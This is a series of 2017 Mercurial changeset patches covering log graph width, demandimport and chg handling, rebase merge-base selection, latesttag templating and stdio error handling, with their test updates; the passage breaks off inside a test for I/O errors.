+  0 files updated, 1 files merged, 0 files removed, 0 files unresolved
+  (branch merge, don't forget to commit)
+
+  $ hg log --graph -T "{graphwidth}"
+  @  3
+  |
+  | @  5
+  |/
+  o  3
+  
+  $ hg commit -m "$wrappabletext"
+
+  $ hg log --graph -T "{graphwidth}"
+  @    5
+  |\
+  | o  5
+  | |
+  o |  5
+  |/
+  o  3
+  
+
+  $ hg checkout 0
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ printf "third\nfirst\nsecond\n" > file
+  $ hg commit -m "$wrappabletext"
+  created new head
+
+  $ hg log --graph -T "{graphwidth}"
+  @  3
+  |
+  | o    7
+  | |\
+  +---o  7
+  | |
+  | o  5
+  |/
+  o  3
+  
+
+  $ hg log --graph -T "{graphwidth}" -r 3
+  o    5
+  |\
+  ~ ~
+
+  $ hg log --graph -T "{graphwidth}" -r 1
+  o  3
+  |
+  ~
+
+  $ hg merge
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (branch merge, don't forget to commit)
+  $ hg commit -m "$wrappabletext"
+
+  $ printf "seventh\n" >> file
+  $ hg commit -m "$wrappabletext"
+
+  $ hg log --graph -T "{graphwidth}"
+  @  3
+  |
+  o    5
+  |\
+  | o  5
+  | |
+  o |    7
+  |\ \
+  | o |  7
+  | |/
+  o /  5
+  |/
+  o  3
+  
+
+The point of graphwidth is to allow wrapping that accounts for the space taken
+by the graph.
+
+  $ COLUMNS=10 hg log --graph -T "{fill(desc, termwidth - graphwidth)}"
+  @  a a a a
+  |  a a a a
+  |  a a a a
+  o    a a a
+  |\   a a a
+  | |  a a a
+  | |  a a a
+  | o  a a a
+  | |  a a a
+  | |  a a a
+  | |  a a a
+  o |    a a
+  |\ \   a a
+  | | |  a a
+  | | |  a a
+  | | |  a a
+  | | |  a a
+  | o |  a a
+  | |/   a a
+  | |    a a
+  | |    a a
+  | |    a a
+  | |    a a
+  o |  a a a
+  |/   a a a
+  |    a a a
+  |    a a a
+  o  a a a a
+     a a a a
+     a a a a
+
+Something tricky happens when there are elided nodes; the next drawn row of
+edges can be more than one column wider, but the graph width only increases by
+one column. The remaining columns are added in between the nodes.
+
+  $ hg log --graph -T "{graphwidth}" -r "0|2|4|5"
+  o    5
+  |\
+  | \
+  | :\
+  o : :  7
+  :/ /
+  : o  5
+  :/
+  o  3
+  
+
+  $ cd ..
+
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503079697 25200
#      Fri Aug 18 11:08:17 2017 -0700
# Node ID 8fb5212652ec1a60522c4d5847fde1c54183a7eb
# Parent  6f6c87888b228948e202bd5967dc306bed56af7d
demandimport: move HGDEMANDIMPORT test to __init__.py

The logic is now shared between demandimport{2,3}.

Differential Revision: https://phab.mercurial-scm.org/D445

diff --git a/hgdemandimport/__init__.py b/hgdemandimport/__init__.py
--- a/hgdemandimport/__init__.py
+++ b/hgdemandimport/__init__.py
@@ -13,6 +13,7 @@
 
 from __future__ import absolute_import
 
+import os
 import sys
 
 if sys.version_info[0] >= 3:
@@ -68,6 +69,9 @@
 
 # Re-export.
 isenabled = demandimport.isenabled
-enable = demandimport.enable
 disable = demandimport.disable
 deactivated = demandimport.deactivated
+
+def enable():
+    if os.environ.get('HGDEMANDIMPORT') != 'disable':
+        demandimport.enable()
diff --git a/hgdemandimport/demandimportpy2.py b/hgdemandimport/demandimportpy2.py
--- a/hgdemandimport/demandimportpy2.py
+++ b/hgdemandimport/demandimportpy2.py
@@ -28,7 +28,6 @@
 
 import __builtin__ as builtins
 import contextlib
-import os
 import sys
 
 contextmanager = contextlib.contextmanager
@@ -285,8 +284,7 @@
 
 def enable():
     "enable global demand-loading of modules"
-    if os.environ.get('HGDEMANDIMPORT') != 'disable':
-        builtins.__import__ = _demandimport
+    builtins.__import__ = _demandimport
 
 def disable():
     "disable global demand-loading of modules"
diff --git a/hgdemandimport/demandimportpy3.py b/hgdemandimport/demandimportpy3.py
--- a/hgdemandimport/demandimportpy3.py
+++ b/hgdemandimport/demandimportpy3.py
@@ -27,7 +27,6 @@
 from __future__ import absolute_import
 
 import contextlib
-import os
 import sys
 
 import importlib.abc
@@ -81,8 +80,7 @@
         pass
 
 def enable():
-    if os.environ.get('HGDEMANDIMPORT') != 'disable':
-        sys.path_hooks.insert(0, _makefinder)
+    sys.path_hooks.insert(0, _makefinder)
 
 @contextlib.contextmanager
 def deactivated():
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1502905446 25200
#      Wed Aug 16 10:44:06 2017 -0700
# Node ID 3cfc9070245fbaa8c4c010327f24d579a416370f
# Parent  8fb5212652ec1a60522c4d5847fde1c54183a7eb
demandimport: disable if chg is being used

In chg's case, making modules lazily loaded could actually slow down things
since chg pre-imports them. Therefore disable demandimport if chg is being
used.

This is not done by setting `HGDEMANDIMPORT` chg client-side because that
has side-effects on child processes (hooks, etc).

Differential Revision: https://phab.mercurial-scm.org/D351

diff --git a/hgdemandimport/__init__.py b/hgdemandimport/__init__.py
--- a/hgdemandimport/__init__.py
+++ b/hgdemandimport/__init__.py
@@ -73,5 +73,7 @@
 deactivated = demandimport.deactivated
 
 def enable():
-    if os.environ.get('HGDEMANDIMPORT') != 'disable':
+    # chg pre-imports modules so do not enable demandimport for it
+    if ('CHGINTERNALMARK' not in os.environ
+        and os.environ.get('HGDEMANDIMPORT') != 'disable'):
         demandimport.enable()
diff --git a/mercurial/chgserver.py b/mercurial/chgserver.py
--- a/mercurial/chgserver.py
+++ b/mercurial/chgserver.py
@@ -565,8 +565,11 @@
                             self._hashstate, self._baseaddress)
 
 def chgunixservice(ui, repo, opts):
-    # CHGINTERNALMARK is temporarily set by chg client to detect if chg will
-    # start another chg. drop it to avoid possible side effects.
+    # CHGINTERNALMARK is set by chg client. It is an indication of things are
+    # started by chg so other code can do things accordingly, like disabling
+    # demandimport or detecting chg client started by chg client. When executed
+    # here, CHGINTERNALMARK is no longer useful and hence dropped to make
+    # environ cleaner.
     if 'CHGINTERNALMARK' in encoding.environ:
         del encoding.environ['CHGINTERNALMARK']
 
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1502428635 25200
#      Thu Aug 10 22:17:15 2017 -0700
# Node ID 3160876c6e4e438418f6f4a5a697e8cc0f2ba6cc
# Parent  3cfc9070245fbaa8c4c010327f24d579a416370f
rebase: choose merge base without unwanted revisions

Previously, when there are 2 merge base candidates, we choose p1 blindly,
which may make the merge result to have "unwanted content". This patch makes
rebase smarter - choose a merge base that does not have "unwanted revs" if
possible. Since we don't really have a good solution when there are
"unwanted revs", abort in that case.

Differential Revision: https://phab.mercurial-scm.org/D340

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -1041,11 +1041,14 @@
             for j, x in enumerate(newps[:i]):
                 if x == nullrev:
                     continue
-                if isancestor(np, x):
+                if isancestor(np, x): # CASE-1
                     np = nullrev
-                elif isancestor(x, np):
+                elif isancestor(x, np): # CASE-2
                     newps[j] = np
                     np = nullrev
+                    # New parents forming an ancestor relationship does not
+                    # mean the old parents have a similar relationship. Do not
+                    # set bases[x] to nullrev.
                     bases[j], bases[i] = bases[i], bases[j]
 
             newps[i] = np
@@ -1069,8 +1072,6 @@
                                 'moving at least one of its parents')
                               % (rev, repo[rev]))
 
-    repo.ui.debug(" future parents are %d and %d\n" % tuple(newps))
-
     # "rebasenode" updates to new p1, use the corresponding merge base.
     if bases[0] != nullrev:
         base = bases[0]
@@ -1093,28 +1094,47 @@
     # better than the default (ancestor(F, Z) == null). Therefore still
     # pick one (so choose p1 above).
     if sum(1 for b in bases if b != nullrev) > 1:
-        assert base is not None
+        unwanted = [None, None] # unwanted[i]: unwanted revs if choose bases[i]
+        for i, base in enumerate(bases):
+            if base == nullrev:
+                continue
+            # Revisions in the side (not chosen as merge base) branch that
+            # might contain "surprising" contents
+            siderevs = list(repo.revs('((%ld-%d) %% (%d+%d))',
+                                      bases, base, base, dest))
 
-        # Revisions in the side (not chosen as merge base) branch that might
-        # contain "surprising" contents
-        siderevs = list(repo.revs('((%ld-%d) %% (%d+%d))',
-                                  bases, base, base, dest))
+            # If those revisions are covered by rebaseset, the result is good.
+            # A merge in rebaseset would be considered to cover its ancestors.
+            if siderevs:
+                rebaseset = [r for r, d in state.items() if d > 0]
+                merges = [r for r in rebaseset
+                          if cl.parentrevs(r)[1] != nullrev]
+                unwanted[i] = list(repo.revs('%ld - (::%ld) - %ld',
+                                             siderevs, merges, rebaseset))
 
-        # If those revisions are covered by rebaseset, the result is good.
-        # A merge in rebaseset would be considered to cover its ancestors.
-        if siderevs:
-            rebaseset = [r for r, d in state.items() if d > 0]
-            merges = [r for r in rebaseset if cl.parentrevs(r)[1] != nullrev]
-            unwantedrevs = list(repo.revs('%ld - (::%ld) - %ld',
-                                          siderevs, merges, rebaseset))
+        # Choose a merge base that has a minimal number of unwanted revs.
+        l, i = min((len(revs), i)
+                   for i, revs in enumerate(unwanted) if revs is not None)
+        base = bases[i]
+
+        # newps[0] should match merge base if possible. Currently, if newps[i]
+        # is nullrev, the only case is newps[i] and newps[j] (j < i), one is
+        # the other's ancestor. In that case, it's fine to not swap newps here.
+        # (see CASE-1 and CASE-2 above)
+        if i != 0 and newps[i] != nullrev:
+            newps[0], newps[i] = newps[i], newps[0]
 
-            # For revs not covered, it is worth a warning.
-            if unwantedrevs:
-                repo.ui.warn(
-                    _('warning: rebasing %d:%s may include unwanted changes '
-                      'from %s\n')
-                    % (rev, repo[rev], ', '.join('%d:%s' % (r, repo[r])
-                                                 for r in unwantedrevs)))
+        # The merge will include unwanted revisions. Abort now. Revisit this if
+        # we have a more advanced merge algorithm that handles multiple bases.
+        if l > 0:
+            unwanteddesc = _(' or ').join(
+                (', '.join('%d:%s' % (r, repo[r]) for r in revs)
+                 for revs in unwanted if revs is not None))
+            raise error.Abort(
+                _('rebasing %d:%s will include unwanted changes from %s')
+                % (rev, repo[rev], unwanteddesc))
+
+    repo.ui.debug(" future parents are %d and %d\n" % tuple(newps))
 
     return newps[0], newps[1], base
 
diff --git a/tests/test-rebase-newancestor.t b/tests/test-rebase-newancestor.t
--- a/tests/test-rebase-newancestor.t
+++ b/tests/test-rebase-newancestor.t
@@ -354,16 +354,8 @@
   rebasing 5:5f2c926dfecf "D" (D)
   rebasing 6:b296604d9846 "E" (E)
   rebasing 7:caa9781e507d "F" (F tip)
-  warning: rebasing 7:caa9781e507d may include unwanted changes from 4:d6003a550c2c
-  saved backup bundle to $TESTTMP/dual-merge-base1/.hg/strip-backup/b296604d9846-0516f6d2-rebase.hg (glob)
-  $ hg log -r 4 -T '{files}\n'
-  C
-  $ hg manifest -r 'desc(F)'
-  C
-  D
-  E
-  R
-  Z
+  abort: rebasing 7:caa9781e507d will include unwanted changes from 4:d6003a550c2c or 3:c1e6b162678d
+  [255]
 
 The warning does not get printed if there is no unwanted change detected:
 
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -1065,10 +1065,8 @@
   note: not rebasing 3:7fb047a69f22 "E" (E), already in destination as 1:112478962961 "B"
   rebasing 2:b18e25de2cf5 "D" (D)
   rebasing 5:66f1a38021c9 "F" (F tip)
-  warning: rebasing 5:66f1a38021c9 may include unwanted changes from 3:7fb047a69f22
+  note: rebase of 5:66f1a38021c9 created no changes to commit
   $ hg log -G
-  o  7:9ed45af61fa0 F
-  |
   o  6:8f47515dda15 D
   |
   | x    5:66f1a38021c9 F
@@ -1102,11 +1100,9 @@
   note: not rebasing 2:b18e25de2cf5 "D" (D), already in destination as 1:112478962961 "B"
   rebasing 3:7fb047a69f22 "E" (E)
   rebasing 5:66f1a38021c9 "F" (F tip)
-  warning: rebasing 5:66f1a38021c9 may include unwanted changes from 2:b18e25de2cf5
+  note: rebase of 5:66f1a38021c9 created no changes to commit
 
   $ hg log -G
-  o  7:502540f44880 F
-  |
   o  6:533690786a86 E
   |
   | x    5:66f1a38021c9 F
@@ -1123,6 +1119,88 @@
   
   $ cd ..
 
+Rebase merge where both parents have successors in destination
+
+  $ hg init p12-succ-in-dest
+  $ cd p12-succ-in-dest
+  $ hg debugdrawdag <<'EOS'
+  >   E   F
+  >  /|  /|  # replace: A -> C
+  > A B C D  # replace: B -> D
+  > | |
+  > X Y
+  > EOS
+  $ hg rebase -r A+B+E -d F
+  note: not rebasing 4:a3d17304151f "A" (A), already in destination as 0:96cc3511f894 "C"
+  note: not rebasing 5:b23a2cc00842 "B" (B), already in destination as 1:058c1e1fb10a "D"
+  rebasing 7:dac5d11c5a7d "E" (E tip)
+  abort: rebasing 7:dac5d11c5a7d will include unwanted changes from 3:59c792af609c, 5:b23a2cc00842 or 2:ba2b7fa7166d, 4:a3d17304151f
+  [255]
+  $ cd ..
+
+Rebase a non-clean merge. One parent has successor in destination, the other
+parent moves as requested.
+
+  $ hg init p1-succ-p2-move
+  $ cd p1-succ-p2-move
+  $ hg debugdrawdag <<'EOS'
+  >   D Z
+  >  /| | # replace: A -> C
+  > A B C # D/D = D
+  > EOS
+  $ hg rebase -r A+B+D -d Z
+  note: not rebasing 0:426bada5c675 "A" (A), already in destination as 2:96cc3511f894 "C"
+  rebasing 1:fc2b737bb2e5 "B" (B)
+  rebasing 3:b8ed089c80ad "D" (D)
+
+  $ rm .hg/localtags
+  $ hg log -G
+  o  6:e4f78693cc88 D
+  |
+  o  5:76840d832e98 B
+  |
+  o  4:50e41c1f3950 Z
+  |
+  o  2:96cc3511f894 C
+  
+  $ hg files -r tip
+  B
+  C
+  D
+  Z
+
+  $ cd ..
+
+  $ hg init p1-move-p2-succ
+  $ cd p1-move-p2-succ
+  $ hg debugdrawdag <<'EOS'
+  >   D Z
+  >  /| |  # replace: B -> C
+  > A B C  # D/D = D
+  > EOS
+  $ hg rebase -r B+A+D -d Z
+  note: not rebasing 1:fc2b737bb2e5 "B" (B), already in destination as 2:96cc3511f894 "C"
+  rebasing 0:426bada5c675 "A" (A)
+  rebasing 3:b8ed089c80ad "D" (D)
+
+  $ rm .hg/localtags
+  $ hg log -G
+  o  6:1b355ed94d82 D
+  |
+  o  5:a81a74d764a6 A
+  |
+  o  4:50e41c1f3950 Z
+  |
+  o  2:96cc3511f894 C
+  
+  $ hg files -r tip
+  A
+  C
+  D
+  Z
+
+  $ cd ..
+
 Test that bookmark is moved and working dir is updated when all changesets have
 equivalents in destination
   $ hg init rbsrepo && cd rbsrepo
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1502440451 25200
#      Fri Aug 11 01:34:11 2017 -0700
# Node ID 70354bd4f19b8d4c747112e921628c502e4212db
# Parent  3160876c6e4e438418f6f4a5a697e8cc0f2ba6cc
rebase: only change self.state when collapsing in _finishrebase

When the code executes to _finishrebase, self.state should be populated with
correct destinations and do not need to be written to a node. The code was
introduced by 8dc45c9059, which seems to avoid setting state values to None
but it didn't provide more details.

Differential Revision: https://phab.mercurial-scm.org/D346

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -461,12 +461,10 @@
                                        editor=editor,
                                        keepbranches=self.keepbranchesf,
                                        date=self.date)
-            if newnode is None:
-                newrev = self.dest
-            else:
+            if newnode is not None:
                 newrev = repo[newnode].rev()
-            for oldrev in self.state.iterkeys():
-                self.state[oldrev] = newrev
+                for oldrev in self.state.iterkeys():
+                    self.state[oldrev] = newrev
 
         if 'qtip' in repo.tags():
             updatemq(repo, self.state, self.skipped, **opts)
# HG changeset patch
# User Sean Farley <sean@farley.io>
# Date 1503376506 25200
#      Mon Aug 21 21:35:06 2017 -0700
# Node ID af20468eb0a499c094dbd6e27ffcacf54cf5a8e6
# Parent  70354bd4f19b8d4c747112e921628c502e4212db
# Parent  fb672eac2702c019b92bf6cd83be2cc84a83fcf4
merge with stable

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -187,7 +187,7 @@
 	  PREFIX=/usr/local \
 	  clean install
 	mkdir -p $${OUTPUTDIR:-dist}
-	HGVER=$$(shell python contrib/genosxversion.py $(OSXVERSIONFLAGS) build/mercurial/Library/Python/2.7/site-packages/mercurial/__version__.py ) && \
+	HGVER=$$(python contrib/genosxversion.py $(OSXVERSIONFLAGS) build/mercurial/Library/Python/2.7/site-packages/mercurial/__version__.py) && \
 	OSXVER=$$(sw_vers -productVersion | cut -d. -f1,2) && \
 	pkgbuild --filter \\.DS_Store --root build/mercurial/ \
 	  --identifier org.mercurial-scm.mercurial \
diff --git a/mercurial/branchmap.py b/mercurial/branchmap.py
--- a/mercurial/branchmap.py
+++ b/mercurial/branchmap.py
@@ -406,7 +406,8 @@
 
         # fast path: extract data from cache, use it if node is matching
         reponode = changelog.node(rev)[:_rbcnodelen]
-        cachenode, branchidx = unpack_from(_rbcrecfmt, self._rbcrevs, rbcrevidx)
+        cachenode, branchidx = unpack_from(
+            _rbcrecfmt, util.buffer(self._rbcrevs), rbcrevidx)
         close = bool(branchidx & _rbccloseflag)
         if close:
             branchidx &= _rbcbranchidxmask
diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -3335,7 +3335,9 @@
     revisions.
 
     See :hg:`help templates` for more about pre-packaged styles and
-    specifying custom templates.
+    specifying custom templates. The default template used by the log
+    command can be customized via the ``ui.logtemplate`` configuration
+    setting.
 
     Returns 0 on success.
 
diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -208,10 +208,22 @@
             latesttags[rev] = ctx.date()[0], 0, [t for t in sorted(tags)]
             continue
         try:
-            # The tuples are laid out so the right one can be found by
-            # comparison.
-            pdate, pdist, ptag = max(
-                latesttags[p.rev()] for p in ctx.parents())
+            ptags = [latesttags[p.rev()] for p in ctx.parents()]
+            if len(ptags) > 1:
+                if ptags[0][2] == ptags[1][2]:
+                    # The tuples are laid out so the right one can be found by
+                    # comparison in this case.
+                    pdate, pdist, ptag = max(ptags)
+                else:
+                    def key(x):
+                        changessincetag = len(repo.revs('only(%d, %s)',
+                                                        ctx.rev(), x[2][0]))
+                        # Smallest number of changes since tag wins. Date is
+                        # used as tiebreaker.
+                        return [-changessincetag, x[0]]
+                    pdate, pdist, ptag = max(ptags, key=key)
+            else:
+                pdate, pdist, ptag = ptags[0]
         except KeyError:
             # Cache miss - recurse
             todo.append(rev)
diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -904,7 +904,8 @@
                 if not getattr(self.ferr, 'closed', False):
                     self.ferr.flush()
         except IOError as inst:
-            raise error.StdioError(inst)
+            if inst.errno not in (errno.EPIPE, errno.EIO, errno.EBADF):
+                raise error.StdioError(inst)
 
     def flush(self):
         # opencode timeblockedsection because this is a critical path
@@ -913,12 +914,14 @@
             try:
                 self.fout.flush()
             except IOError as err:
-                raise error.StdioError(err)
+                if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF):
+                    raise error.StdioError(err)
             finally:
                 try:
                     self.ferr.flush()
                 except IOError as err:
-                    raise error.StdioError(err)
+                    if err.errno not in (errno.EPIPE, errno.EIO, errno.EBADF):
+                        raise error.StdioError(err)
         finally:
             self._blockedtimes['stdio_blocked'] += \
                 (util.timer() - starttime) * 1000
diff --git a/setup.py b/setup.py
--- a/setup.py
+++ b/setup.py
@@ -785,11 +785,11 @@
     from distutils import cygwinccompiler
 
     # the -mno-cygwin option has been deprecated for years
-    compiler = cygwinccompiler.Mingw32CCompiler
+    mingw32compilerclass = cygwinccompiler.Mingw32CCompiler
 
     class HackedMingw32CCompiler(cygwinccompiler.Mingw32CCompiler):
         def __init__(self, *args, **kwargs):
-            compiler.__init__(self, *args, **kwargs)
+            mingw32compilerclass.__init__(self, *args, **kwargs)
             for i in 'compiler compiler_so linker_exe linker_so'.split():
                 try:
                     getattr(self, i).remove('-mno-cygwin')
@@ -810,11 +810,11 @@
     # effect.
     from distutils import msvccompiler
 
-    compiler = msvccompiler.MSVCCompiler
+    msvccompilerclass = msvccompiler.MSVCCompiler
 
     class HackedMSVCCompiler(msvccompiler.MSVCCompiler):
         def initialize(self):
-            compiler.initialize(self)
+            msvccompilerclass.initialize(self)
             # "warning LNK4197: export 'func' specified multiple times"
             self.ldflags_shared.append('/ignore:4197')
             self.ldflags_shared_debug.append('/ignore:4197')
diff --git a/tests/test-acl.t b/tests/test-acl.t
--- a/tests/test-acl.t
+++ b/tests/test-acl.t
@@ -883,7 +883,7 @@
   added 3 changesets with 3 changes to 3 files
   calling hook pretxnchangegroup.acl: hgext.acl.hook
   acl: checking access for user "barney"
-  error: pretxnchangegroup.acl hook raised an exception: [Errno 2] No such file or directory: '../acl.config'
+  error: pretxnchangegroup.acl hook raised an exception: [Errno *] * (glob)
   bundle2-input-part: total payload size 1553
   bundle2-input-bundle: 3 parts total
   transaction abort!
diff --git a/tests/test-command-template.t b/tests/test-command-template.t
--- a/tests/test-command-template.t
+++ b/tests/test-command-template.t
@@ -2871,95 +2871,189 @@
 
 No tag set:
 
-  $ hg log --template '{rev}: {latesttag}+{latesttagdistance}\n'
-  5: null+5
-  4: null+4
-  3: null+3
-  2: null+3
-  1: null+2
-  0: null+1
-
-One common tag: longest path wins:
+  $ hg log -G --template '{rev}: {latesttag}+{latesttagdistance}\n'
+  @    5: null+5
+  |\
+  | o  4: null+4
+  | |
+  | o  3: null+3
+  | |
+  o |  2: null+3
+  |/
+  o  1: null+2
+  |
+  o  0: null+1
+  
+
+One common tag: longest path wins for {latesttagdistance}:
 
   $ hg tag -r 1 -m t1 -d '6 0' t1
-  $ hg log --template '{rev}: {latesttag}+{latesttagdistance}\n'
-  6: t1+4
-  5: t1+3
-  4: t1+2
-  3: t1+1
-  2: t1+1
-  1: t1+0
-  0: null+1
-
-One ancestor tag: more recent wins:
+  $ hg log -G --template '{rev}: {latesttag}+{latesttagdistance}\n'
+  @  6: t1+4
+  |
+  o    5: t1+3
+  |\
+  | o  4: t1+2
+  | |
+  | o  3: t1+1
+  | |
+  o |  2: t1+1
+  |/
+  o  1: t1+0
+  |
+  o  0: null+1
+  
+
+One ancestor tag: closest wins:
 
   $ hg tag -r 2 -m t2 -d '7 0' t2
-  $ hg log --template '{rev}: {latesttag}+{latesttagdistance}\n'
-  7: t2+3
-  6: t2+2
-  5: t2+1
-  4: t1+2
-  3: t1+1
-  2: t2+0
-  1: t1+0
-  0: null+1
-
-Two branch tags: more recent wins:
+  $ hg log -G --template '{rev}: {latesttag}+{latesttagdistance}\n'
+  @  7: t2+3
+  |
+  o  6: t2+2
+  |
+  o    5: t2+1
+  |\
+  | o  4: t1+2
+  | |
+  | o  3: t1+1
+  | |
+  o |  2: t2+0
+  |/
+  o  1: t1+0
+  |
+  o  0: null+1
+  
+
+Two branch tags: more recent wins if same number of changes:
 
   $ hg tag -r 3 -m t3 -d '8 0' t3
-  $ hg log --template '{rev}: {latesttag}+{latesttagdistance}\n'
-  8: t3+5
-  7: t3+4
-  6: t3+3
-  5: t3+2
-  4: t3+1
-  3: t3+0
-  2: t2+0
-  1: t1+0
-  0: null+1
+  $ hg log -G --template '{rev}: {latesttag}+{latesttagdistance}\n'
+  @  8: t3+5
+  |
+  o  7: t3+4
+  |
+  o  6: t3+3
+  |
+  o    5: t3+2
+  |\
+  | o  4: t3+1
+  | |
+  | o  3: t3+0
+  | |
+  o |  2: t2+0
+  |/
+  o  1: t1+0
+  |
+  o  0: null+1
+  
+
+Two branch tags: fewest changes wins:
+
+  $ hg tag -r 4 -m t4 -d '4 0' t4 # older than t2, but should not matter
+  $ hg log -G --template "{rev}: {latesttag % '{tag}+{distance},{changes} '}\n"
+  @  9: t4+5,6
+  |
+  o  8: t4+4,5
+  |
+  o  7: t4+3,4
+  |
+  o  6: t4+2,3
+  |
+  o    5: t4+1,2
+  |\
+  | o  4: t4+0,0
+  | |
+  | o  3: t3+0,0
+  | |
+  o |  2: t2+0,0
+  |/
+  o  1: t1+0,0
+  |
+  o  0: null+1,1
+  
 
 Merged tag overrides:
 
   $ hg tag -r 5 -m t5 -d '9 0' t5
   $ hg tag -r 3 -m at3 -d '10 0' at3
-  $ hg log --template '{rev}: {latesttag}+{latesttagdistance}\n'
-  10: t5+5
-  9: t5+4
-  8: t5+3
-  7: t5+2
-  6: t5+1
-  5: t5+0
-  4: at3:t3+1
-  3: at3:t3+0
-  2: t2+0
-  1: t1+0
-  0: null+1
-
-  $ hg log --template "{rev}: {latesttag % '{tag}+{distance},{changes} '}\n"
-  10: t5+5,5 
-  9: t5+4,4 
-  8: t5+3,3 
-  7: t5+2,2 
-  6: t5+1,1 
-  5: t5+0,0 
-  4: at3+1,1 t3+1,1 
-  3: at3+0,0 t3+0,0 
-  2: t2+0,0 
-  1: t1+0,0 
-  0: null+1,1 
-
-  $ hg log --template "{rev}: {latesttag('re:^t[13]$') % '{tag}, C: {changes}, D: {distance}'}\n"
-  10: t3, C: 8, D: 7
-  9: t3, C: 7, D: 6
-  8: t3, C: 6, D: 5
-  7: t3, C: 5, D: 4
-  6: t3, C: 4, D: 3
-  5: t3, C: 3, D: 2
-  4: t3, C: 1, D: 1
-  3: t3, C: 0, D: 0
-  2: t1, C: 1, D: 1
-  1: t1, C: 0, D: 0
-  0: null, C: 1, D: 1
+  $ hg log -G --template '{rev}: {latesttag}+{latesttagdistance}\n'
+  @  11: t5+6
+  |
+  o  10: t5+5
+  |
+  o  9: t5+4
+  |
+  o  8: t5+3
+  |
+  o  7: t5+2
+  |
+  o  6: t5+1
+  |
+  o    5: t5+0
+  |\
+  | o  4: t4+0
+  | |
+  | o  3: at3:t3+0
+  | |
+  o |  2: t2+0
+  |/
+  o  1: t1+0
+  |
+  o  0: null+1
+  
+
+  $ hg log -G --template "{rev}: {latesttag % '{tag}+{distance},{changes} '}\n"
+  @  11: t5+6,6
+  |
+  o  10: t5+5,5
+  |
+  o  9: t5+4,4
+  |
+  o  8: t5+3,3
+  |
+  o  7: t5+2,2
+  |
+  o  6: t5+1,1
+  |
+  o    5: t5+0,0
+  |\
+  | o  4: t4+0,0
+  | |
+  | o  3: at3+0,0 t3+0,0
+  | |
+  o |  2: t2+0,0
+  |/
+  o  1: t1+0,0
+  |
+  o  0: null+1,1
+  
+
+  $ hg log -G --template "{rev}: {latesttag('re:^t[13]$') % '{tag}, C: {changes}, D: {distance}'}\n"
+  @  11: t3, C: 9, D: 8
+  |
+  o  10: t3, C: 8, D: 7
+  |
+  o  9: t3, C: 7, D: 6
+  |
+  o  8: t3, C: 6, D: 5
+  |
+  o  7: t3, C: 5, D: 4
+  |
+  o  6: t3, C: 4, D: 3
+  |
+  o    5: t3, C: 3, D: 2
+  |\
+  | o  4: t3, C: 1, D: 1
+  | |
+  | o  3: t3, C: 0, D: 0
+  | |
+  o |  2: t1, C: 1, D: 1
+  |/
+  o  1: t1, C: 0, D: 0
+  |
+  o  0: null, C: 1, D: 1
+  
 
   $ cd ..
 
@@ -2981,7 +3075,7 @@
   > EOF
 
   $ hg -R latesttag tip
-  test 10:9b4a630e5f5f
+  test 11:97e5943b523a
 
 Test recursive showlist template (issue1989):
 
@@ -2994,7 +3088,7 @@
 
   $ hg -R latesttag log -r tip --style=style1989
   M|test
-  10,test
+  11,test
   branch: test
 
 Test new-style inline templating:
@@ -3027,6 +3121,7 @@
   $ hg log -R latesttag --template '{desc}\n'
   at3
   t5
+  t4
   t3
   t2
   t1
@@ -3040,6 +3135,7 @@
   $ hg log -R latesttag --template '{strip(desc, "te")}\n'
   at3
   5
+  4
   3
   2
   1
@@ -3055,6 +3151,7 @@
   $ hg log -R latesttag --template 'date: {date(date, "%y %m %d %S %z")}\n'
   date: 70 01 01 10 +0000
   date: 70 01 01 09 +0000
+  date: 70 01 01 04 +0000
   date: 70 01 01 08 +0000
   date: 70 01 01 07 +0000
   date: 70 01 01 06 +0000
diff --git a/tests/test-context.py b/tests/test-context.py
--- a/tests/test-context.py
+++ b/tests/test-context.py
@@ -24,11 +24,10 @@
 repo[None].add(['foo'])
 repo.commit(text='commit1', date="0 0")
 
+d = repo[None]['foo'].date()
 if os.name == 'nt':
-    d = repo[None]['foo'].date()
-    print("workingfilectx.date = (%d, %d)" % (d[0], d[1]))
-else:
-    print("workingfilectx.date =", repo[None]['foo'].date())
+    d = d[:2]
+print("workingfilectx.date = (%d, %d)" % d)
 
 # test memctx with non-ASCII commit message
 
diff --git a/tests/test-rollback.t b/tests/test-rollback.t
--- a/tests/test-rollback.t
+++ b/tests/test-rollback.t
@@ -210,3 +210,248 @@
   abort: rollback is disabled because it is unsafe
   (see `hg help -v rollback` for information)
   [255]
+
+  $ cd ..
+
+I/O errors on stdio are handled properly (issue5658)
+
+  $ cat > badui.py << EOF
+  > import errno
+  > from mercurial.i18n import _
+  > from mercurial import (
+  >     error,
+  >     ui as uimod,
+  > )
+  > 
+  > def pretxncommit(ui, repo, **kwargs):
+  >     ui.warn('warn during pretxncommit\n')
+  > 
+  > def pretxnclose(ui, repo, **kwargs):
+  >     ui.warn('warn during pretxnclose\n')
+  > 
+  > def txnclose(ui, repo, **kwargs):
+  >     ui.warn('warn during txnclose\n')
+  > 
+  > def txnabort(ui, repo, **kwargs):
+  >     ui.warn('warn during abort\n')
+  > 
+  > class fdproxy(object):
+  >     def __init__(self, ui, o):
+  >         self._ui = ui
+  >         self._o = o
+  > 
+  >     def __getattr__(self, attr):
+  >         return getattr(self._o, attr)
+  > 
+  >     def write(self, msg):
+  >         errors = set(self._ui.configlist('ui', 'ioerrors', []))
+  >         pretxncommit = msg == 'warn during pretxncommit\n'
+  >         pretxnclose = msg == 'warn during pretxnclose\n'
